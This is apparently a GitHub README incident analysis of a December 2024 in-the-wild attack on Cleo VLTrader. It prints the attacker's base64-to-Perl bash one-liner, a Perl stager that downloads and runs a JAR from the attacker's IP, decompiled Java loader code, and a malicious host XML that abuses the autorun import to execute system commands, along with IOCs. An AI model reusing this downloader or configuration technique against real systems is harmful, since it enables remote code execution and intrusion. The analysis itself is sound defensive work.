Skip to content

schmalle/vltrader-vulnerability-analysis

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 

Repository files navigation

Cleo VLTrader - Exploitation in the Wild

Analysis and report by Dr. Markus Schmall ( Linkedin | GitHub ) and Simon Peters ( Linkedin | GitHub ) published with friendly permission by Covestro AG.

Context

On 2024-12-07 12:13:04 CET, Covestro's EDR killed a Perl process invoked by the Java application Cleo VLTrader on of our EC2 instances. Analysis resulted in confirmation of an exploitation attempt that was successfully blocked by our EDR. Covestro's internal Cyber Defense and Cloud Security teams conducted an analysis of the attack chain.

EDR Alert

The killed Perl process was started by a bash shell which was invoked by VLTrader's Java process directly:

bash -c "echo [BASE64_ENCODED_PAYLOAD]|base64 -d|perl > webserver/temp/webserver-[UUID4-IDENTIFIER].swp"

Spoiler: there is a report about a Windows-based exploitation using PowerShell from @MaxRogers5 too.

Retrieving the Payload

The bash invocation decodes a base64 encoded payload [BASE64_ENCODED_PAYLOAD] and passes it to the Perl interpreter. Decoding the payload results in a second base64 layer, which is decoded and passed to the Perl interpreter again using Perl's system function. Hash (SHA256) and size of each layer is as following:

c8b97a8fad967ae2bd4fdc44e49da0c09f986df60e97083e30110e22600fbb5d    Base64 Layer 1      1180 bytes  
f929ebccb6bbf9e5424220860eca345497908eb583a0b853ea443f1d4b7b59c8    Base64 Layer 2      852 bytes
26352e356446a8883b4897b4ed8503667831bc2200b04ce23dd4b5c692bb9b6b    Perl Script         638 bytes

Contents of the final Perl script:

use IO::Socket::INET;
exit unless $s=IO::Socket::INET->new("77.72.85.209:443");
$s->autoflush();
$s->send("TLS v3 [COMMAND_STRING]");
@k=([XOR_INTEGER_ARRAY]);
$f="cleo.1331";
$n=$g=0;
open F,">$f";binmode F;
while(1){sysread($s,$a,9999);last unless length $a;@a=unpack"C*",$a;for($i=0;$i<@a;$i++){$j=$n++&15;$a[$i]^=$k[$j]^$g;$g=($g+$a[$i])&255;$k[$j]=($k[$j]+3)&255;}
print F pack"C*",@a;}
close F;$s->close();
$ENV{query}="[ENVIRONMENT_STRING]";
$ENV{f}=$f;
system("jre/bin/java -jar $f &");

Essentially, the script connects to the IP address 77.72.85.209, sends an ambiguous command TLS v3 [COMMAND_STRING] and then starts to receive data from the socket. The received data is "decrypted" by performing a XOR operation with [XOR_INTEGER_ARRAY] and persisted into the output file cleo.1331 which is finally executed by system("jre/bin/java -jar $f &").

Any stdout from the Perl interpreter will be redirected into webserver/temp/webserver-[UUID4_STRING].swp, but there was none on our EC2 instance.

Surprisingly, 77.72.85.209 was not flagged as malicious at the time of the incident (2024-12-09):

IP Reputation: Cisco Talos

Screenshot from Cisco Talos, 2024-12-09 20:54 CET, https://www.talosintelligence.com/reputation_center/lookup?search=77.72.85.209

IP Reputation: Virustotal

Screenshot from Virustotal, 2024-12-09 20:54 CET, https://www.virustotal.com/gui/ip-address/77.72.85.209

Dissecting the Payload

The downloaded, malicious file cleo.1331 is a JAR archive, as indicated by passing it to jre/bin/java -jar.

Surprisingly, its SHA256 hash 6705eea898ef1155417361fa71b1078b7aaab61e7597d2a080aa38df4ad87b1c was not known to Virustotal:

Screenshot from Virustotal, 2024-12-10 11:18 CET, https://www.virustotal.com/gui/file/6705eea898ef1155417361fa71b1078b7aaab61e7597d2a080aa38df4ad87b1c

The JAR artifact is compiled with bytecode version 52, which is Java 8. The only implemented class is start and contains a download and a decryption (AES) functionality, which relies on information initially stored by the perl script (namely f and query environment variables).

Base64.Decoder var11 = Base64.getDecoder();
Base64.Encoder var12 = Base64.getEncoder().withoutPadding();
var10 = System.getenv("f");
byte[] var13 = var11.decode(System.getenv("query").replace('-', '+').replace('_', '/'));
System.arraycopy(var13, 0, var3, 0, 16);
System.arraycopy(var13, 16, var4, 0, 32);
serverIPAttacker = (new String(var13, 48, var13.length - 48)).split(";");
Socket socket = new Socket(serverIPAttacker[0], 443);
InputStream var15 = socket.getInputStream();
OutputStream var16 = socket.getOutputStream();
var16.write(("TLS v3 " + var12.encodeToString(var4)).getBytes());

int var8;
int var9;
for(var8 = 0; (var9 = var15.read(var5, var8, var5.length - var8)) > 0; var8 += var9) {
}

SecretKeySpec var17 = new SecretKeySpec(var3, "AES");
IvParameterSpec var18 = new IvParameterSpec(var2);
Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding");
cipher.init(2, var17, var18);
byte[] var20 = cipher.doFinal(var5, 0, var8 & '\ufff0');
var9 = (var20[0] & 255) + (var20[1] & 255) * 256;
var8 -= 2;
if (var9 <= var8) {
    var6 = new byte[var9];
    System.arraycopy(var20, 2, var6, 0, var9);
}

The artifact downloaded and decrypted by the JAR is a zipfile:

2ad64de15692083cb1c40f8598783155711ec1be59393a6ada00ae55a9cae4f8    Zipfile     25411 bytes

It contains more Java classes::

1ba95af21bac45db43ebf02f87ecedde802c7de4d472f33e74ee0a5b5015a726    Proc        10251 bytes
429d24e3f30c7e999033c91f32b108db48d669fde1c3fa62eff9da2697ed078e    Dwn         5541 bytes
0b7b1b24f85a0107829781b10d08432db260421a7727230f1d3caa854370cb81    Mos         1030 bytes
0c57b317b572d071afd8ccdb844dd6f117e20f818c6031d7ba8adcbd32be0617    Cli         5552 bytes
57ec6d8891c95a259636380f7d8b8f4f8ac209bc245d602bfa9014a4efd2c740    SFile       1870 bytes
87f7627e98c27620dd947e8dd60e5a124fdd3bb7c0f5957f0d8f7da6d0f90dee    ScSlot      1411 bytes
f4e5a6027b25ede93b10e132d5f861ed7cca1df7e36402978936019930e52a16    SrvSlot     14426 bytes
1e351bb7f6e105a3eaa1a0840140ae397e0e79c2bdc69d5e1197393fbeefc29b    Slot        3364 bytes
f80634ce187ad4834d8f68ac7c93500d9da69ee0a7c964df1ffc8db1b6fff5a9    DwnLevel    342 bytes

We did not pursue the analysis of the malicious Java code from 2nd and 3rd stage any further, since it malicious intention was proven at this point.

Understanding the Attach Chain

To understand why and how invocation of a bash shell was possible, a closer look to the functionality of VLTrader is required.

Log Analysis

The application's main log file VLTrader/logs/VLTrader.xml included messages about a local command execution:

<Event>
    <Detail level="1" threadId="[ID]">Executing 'bash -c "echo [BASE64_ENCODED_PAYLOAD]|base64 -d|perl &gt; webserver/temp/webserver-[UUID4_STRING].swp"'; successful return status is '0'; waiting for process to complete...</Detail>
    <Mark date="2024/12/07 12:13:04" TN="21" CN="1" EN="7657"></Mark>
</Event>

Interestingly, the execution seemed to be rather expected. Previous log messages revealed an import procedure of suspicious 'autorun' text files (autorun/healthchecktemplate.txt, autorun/healthcheck.txt) and a 'host' configuration XML file (hosts/main.xml):

<Event>
    <Detail level="0">Note: Processing autorun file 'autorun/healthchecktemplate.txt'.</Detail>
    <Mark date="2024/12/07 12:12:59" EN="[ID]"></Mark>
</Event>

<Event>
    <Detail level="0" color="orange">Warning: VLTrader is version 5.8.0.21, but importing files from a VersaLex with an unknown version.</Detail>
    <Mark date="2024/12/07 12:12:59" EN="[ID]"></Mark>
</Event>

<Event>
    <Detail level="0">Note: Import started for 'temp/VLTrader8970943597167177302.tmp'.</Detail>
    <Mark date="2024/12/07 12:12:59" EN="[ID]"></Mark>
</Event>

<Event>
    <Detail level="0">Note: Importing 'hosts/main.xml' (3.457 kBytes)...</Detail>
    <Mark date="2024/12/07 12:12:59" EN="[ID]"></Mark>
</Event>

Suspicious Files

On our EC2 instances, no files matching any of the names could be found, even though the folder VLTrader/autorun existed.

After extended investigation of the filesystem, we identified an interesting zipfile [UUID4_STRING].zip in VLTrader/temp:

f0af03a1107efdc9d1844c9b02141526c0a621b5cf7cb718c139bbfb3640baa6  [UUID4_STRING].zip    3666 bytes

We assume that it was written by VLTrader itself during processing of the 'import'. The zipfile archive contained host/main.xml, which matched the path of the 'imported' file indicated in the logs:

.
└── hosts
    └── main.xml
7c9d8f1f2b367172d12513b145ca54f44ff00815522441065a89d18399466f4c  main.xml

VLTrader Configurations

The content of main.xml is a VLTrader "host" configuration. VLTrader uses them to configure outbound connections for exchange interfaces, e.g. using FTPS or HTTPS. A brief overview can be found in the VLTrader documentation:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Host alias="[UUID4_STRING]" application="" by="Administrator" class="[CLASS_ID]" created="2020/10/10 00:00:00" enabled="True" enc="[UUID4_STRING]" local="True" modevent="Modified" modified="2020/10/10 00:00:00" moditem="&lt;copy&gt;myCommands@Local Commands" modtype="Actions" preconfigured="2009/10/30 15:15" ready="True" serial="" standaloneaction="False" test="False" transport="" type="" uid="[UUID_STRING]" version="1">
  <Connecttype>0</Connecttype>
  <Inbox>inbox\</Inbox>
  <Index>0</Index>
  <Indexdate>-1</Indexdate>
  <Internal>0</Internal>
  <Notes>This contains mailboxes for a local host which can be used for local commands only.</Notes>
  <Origin>Local Commands</Origin>
  <Outbox>outbox\</Outbox>
  <Port>0</Port>
  <Runninglocalrequired>True</Runninglocalrequired>
  <Secureportrequired>False</Secureportrequired>
  <Uidswpd>True</Uidswpd>
  <Advanced>ZipCompressionLevel=System Default</Advanced>
  <Advanced>XMLEncryptionAlgorithm=System Default</Advanced>
  <Advanced>HighPriorityIncomingWeight=10</Advanced>
  <Advanced>PGPHashAlgorithm=System Default</Advanced>
  <Advanced>HighPriorityOutgoingWeight=10</Advanced>
  <Advanced>PGPCompressionAlgorithm=System Default</Advanced>
  <Advanced>OutboxSort=System Default</Advanced>
  <Advanced>PGPEncryptionAlgorithm=System Default</Advanced>
  <Mailbox alias="[UUID4_STRING]" class="[CLASS_ID]" created="2020/10/10 00:00:00" enabled="True" localdecryptcert="" localencryptcert="" localpackaging="None" partnerdecryptcert="" partnerdecryptpassword="" partnerencryptcert="" partnerpackaging="None" ready="True" uid="[UUID_STRING]" version="1">
    <Action actiontype="Commands" alias="[UUID4_STRING]" by="Administrator" class="[CLASS_ID]" created="2020/10/10 00:00:00" enabled="True" modified="2020/10/10 00:00:00" ready="True" serial="" uid="[UUID_STRING]" version="2">
      <Autostartup>False</Autostartup>
      <Commands>SYSTEM bash -c "echo [BASE64_ENCODED_PAYLOAD]|base64 -d|perl > webserver/temp/webserver-[UUID4_STRING].swp"</Commands>
      <Filesin>0</Filesin>
      <Filesout>0</Filesout>
      <Ssl>False</Ssl>
    </Action>
  </Mailbox>
</Host>

Surprisingly, the original bash invocation is displayed here, as <Command> attribute:

<Commands>SYSTEM bash -c "echo [BASE64_ENCODED_PAYLOAD]|base64 -d|perl > webserver/temp/webserver-[UUID4_STRING].swp"</Commands>

This command is part of an "action". In VLTrader, "actions" define the interaction with the "host", so for exmaple, execute PUT or DELETE commands on the remote host.

One action type is particulary intesting: SYSTEM. The VLTrader documentation specifies its functionality as "Execute a local system command":

Screenshot from Cleo Solution Center, 2024-12-09 22:36 CET, https://support.cleo.com/hc/en-us/articles/360034226473-Composing-an-action

The host.xml file included by the attacker utilizes the SYSTEM action type to invoke a bash shell:

<Action actiontype="Commands" alias="[UUID4_STRING]" by="Administrator" class="[CLASS_ID]" created="2020/10/10 00:00:00" enabled="True" modified="2020/10/10 00:00:00" ready="True" serial="" uid="[UUID_STRING]" version="2">

Autorun

Conveniently, VLTrader provides an autorun feature. Configuration files uploaded in a specified directory will be automatically imported and processed. By default, this is VLTrader/autorun, as stated in the documentation:

Screenshot from Cleo Solution Center, 2024-12-09 22:49 CET, https://support.cleo.com/hc/en-us/articles/360033722094-Other-system-options

We assume the threat actors exploited this autorun mechanism to escalate a remote file inclusion vulnerability into a remote code execution. By uploading crafted VLTrader XML configuration files, they could execute almost any command.

Remote File Inclusion

The last puzzle piece remains to be the question how threat actors were able to upload the crafted XML file into the autorun directory.

For VLTrader versions before 5.8.0.21, an unrestricted file upload vulnerability was reported on 2024-11-15 as CVE-2024-50623.

A Tweet from @MaxRogers5 at @Huntress indicates that they observe similar attacks on Cleo VLTrader.

IOCs

  • Path: */cleo.1331

    • SHA256: 6705eea898ef1155417361fa71b1078b7aaab61e7597d2a080aa38df4ad87b1c
    • Size: 638 bytes
  • Filename: VLTrader/temp/[UUID4_STRING].zip

    • SHA256: f0af03a1107efdc9d1844c9b02141526c0a621b5cf7cb718c139bbfb3640baa6
    • Size: 3666 bytes
  • Filename: VLTrader/temp/[UUID4_STRING].zip/hosts/main.xml

    • SHA256: 7c9d8f1f2b367172d12513b145ca54f44ff00815522441065a89d18399466f4c
  • IP Address: 77.72.85.209

About

Description of the recent (Dec 2024) attack against vltrader

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published